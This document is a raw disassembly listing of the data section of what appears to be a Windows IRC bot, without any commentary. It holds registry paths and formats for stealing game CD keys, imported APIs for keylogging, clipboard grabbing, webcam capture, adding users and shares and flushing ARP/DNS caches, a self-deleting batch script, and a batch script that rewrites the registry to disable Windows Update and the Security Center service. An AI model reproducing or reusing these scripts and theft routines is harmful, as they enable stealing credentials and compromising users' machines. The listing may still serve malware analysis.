aPrvkey db 'prvkey',0
align 10h
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 10h
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .nsp0:00427E9Co
aCdkey db 'CDKey',0 ; DATA XREF: .nsp0:00427E98o
align 10h
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .nsp0:off_427E94o
align 4
asc_429098: ; DATA XREF: sub_4085D3+E9o
; sub_4085D3+F4o
unicode 0, <=>,0
aR: ; DATA XREF: sub_4085D3+8Fo
; sub_40CE55:loc_4112ADo
unicode 0, <r>,0
aSS_3 db '%s\%s',0 ; DATA XREF: sub_4085D3+7Eo
; sub_4088A0+45o ...
align 4
aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_4085D3+2Bo
align 4
unk_4290BC db 2 ; DATA XREF: sub_408788+C5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesFoundD_ db ' Files found: %d.',0
unk_4290F0 db 2 ; DATA XREF: sub_408788+5Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForFi db ' Searching for file: %s.',0
align 4
aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_4088A0+107o
align 4
aS_3 db '%s\*',0 ; DATA XREF: sub_4088A0+1Ao
align 4
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4089F2+C50o
align 10h
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4089F2+C48o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4089F2:loc_40962Do
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4089F2+BE6o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4089F2+BD9o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4089F2+BCCo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4089F2+BBFo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4089F2+BB2o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4089F2+BAAo
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4089F2:loc_40958Fo
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4089F2+B68o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4089F2+B60o
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4089F2:loc_409545o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4089F2+B0Eo
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4089F2+B01o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4089F2+AF4o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4089F2+AECo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4089F2:loc_4094D1o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4089F2+AAAo
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4089F2+AA2o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4089F2:loc_409487o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4089F2+A60o
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4089F2+A58o
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4089F2:loc_40943Do
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4089F2+9CEo
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4089F2+9C1o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4089F2+9B4o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4089F2+9A7o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4089F2+99Ao
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4089F2+98Do
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4089F2+980o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4089F2+973o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4089F2+966o
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4089F2+959o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4089F2+951o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4089F2:loc_409332o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4089F2+903o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4089F2+8F6o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4089F2+8EEo
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4089F2:loc_4092D3o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4089F2+8B4o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4089F2+842o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4089F2+835o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4089F2+828o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4089F2+81Bo
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4089F2+80Eo
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4089F2+801o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4089F2+7F4o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4089F2+7E7o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4089F2+7DAo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4089F2+7D2o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4089F2:loc_4091B3o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_4089F2+688o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_4089F2+67Bo
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4089F2+66Eo
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4089F2+661o
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_4089F2+654o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_4089F2+647o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4089F2+63Ao
align 4
aAccept db 'accept',0 ; DATA XREF: sub_4089F2+62Do
; .nsp0:0042C5F0o
align 4
aListen db 'listen',0 ; DATA XREF: sub_4089F2+620o
align 4
aSelect db 'select',0 ; DATA XREF: sub_4089F2+613o
align 4
aBind db 'bind',0 ; DATA XREF: sub_4089F2+60Bo
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4089F2+5F9o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_4089F2+5ECo
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_4089F2+5DFo
align 4
aSend db 'send',0 ; DATA XREF: sub_4089F2+5D2o
; sub_40CE55+20D7o
align 10h
aNtohl db 'ntohl',0 ; DATA XREF: sub_4089F2+5C5o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_4089F2+5B8o
align 10h
aHtonl db 'htonl',0 ; DATA XREF: sub_4089F2+5ABo
align 4
aHtons db 'htons',0 ; DATA XREF: sub_4089F2+59Eo
align 10h
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4089F2+591o
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4089F2+584o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_4089F2+577o
; .nsp0:0042CA00o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4089F2+56Ao
aSocket db 'socket',0 ; DATA XREF: sub_4089F2+55Do
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4089F2+550o
align 10h
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4089F2+543o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4089F2+536o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4089F2+529o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4089F2+51Co
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4089F2+50Fo
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4089F2+507o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4089F2+4F6o
align 10h
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4089F2+483o
align 10h
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4089F2+476o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_4089F2+469o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4089F2+45Co
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4089F2+44Fo
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4089F2+442o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4089F2+435o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4089F2+428o
align 10h
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4089F2+420o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4089F2:loc_408E01o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4089F2:loc_408DD9o
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4089F2+38Fo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4089F2+382o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4089F2+375o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4089F2+368o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_4089F2+35Bo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4089F2+34Eo
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4089F2+341o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4089F2:loc_408D2Bo
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4089F2+309o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4089F2+2FCo
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4089F2:loc_408CE6o
align 10h
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4089F2+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4089F2+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4089F2+292o
align 10h
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4089F2+285o
align 10h
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4089F2+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4089F2+270o
align 10h
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4089F2:loc_408C51o
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4089F2+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4089F2+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4089F2+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4089F2:loc_408BEAo
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4089F2+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4089F2+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4089F2+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4089F2+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4089F2+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_4089F2+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4089F2+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4089F2+14Ao
align 10h
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4089F2:loc_408B27o
; sub_41E6EE+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4089F2:loc_408AFAo
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4089F2+A0o
align 10h
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4089F2+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4089F2+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4089F2+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4089F2+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4089F2+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_4089F2+52o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4089F2+45o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_4089F2+38o
align 10h
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4089F2+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4089F2+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4089F2+Ao
align 4
dword_429A0C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40967F+2F2o
dd 2029206Ch, 2BBBB02h
aDllTestComplet db ' DLL test complete.',0
align 10h
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+264o
align 10h
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40967F+160o
align 10h
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40967F+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+28o
align 4
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409C08+72o
align 10h
aMirc db 'mIRC',0 ; DATA XREF: sub_409CCD+5o
; sub_414390+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_409D4F+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409DF3+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409E15+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_409E15+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_409E15+48o
align 4
aCA1c_bat db 'c:\a1c.bat',0 ; DATA XREF: sub_409F9D+29o
align 10h
a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_409F9D+14o
db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
db 'erv]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
db 0Ah
db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
db 'DEL %temp%\1.reg',0Dh,0Ah
db 'DEL %0',0Dh,0Ah,0
align 4
unk_42B368 db 2 ; DATA XREF: sub_40A093:loc_40A152o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aNotSupportedBy db ' Not supported by this system.',0
align 4
unk_42B3AC db 2 ; DATA XREF: sub_40A093:loc_40A120o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToAlloca db ' Unable to allocation ARP cache.',0
align 10h
unk_42B3F0 db 2 ; DATA XREF: sub_40A093:loc_40A0ECo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheIsEmpt db ' ARP cache is empty.',0
align 4
unk_42B428 db 2 ; DATA XREF: sub_40A093+49o
db 65h, 2, 28h
db 31h ; 1
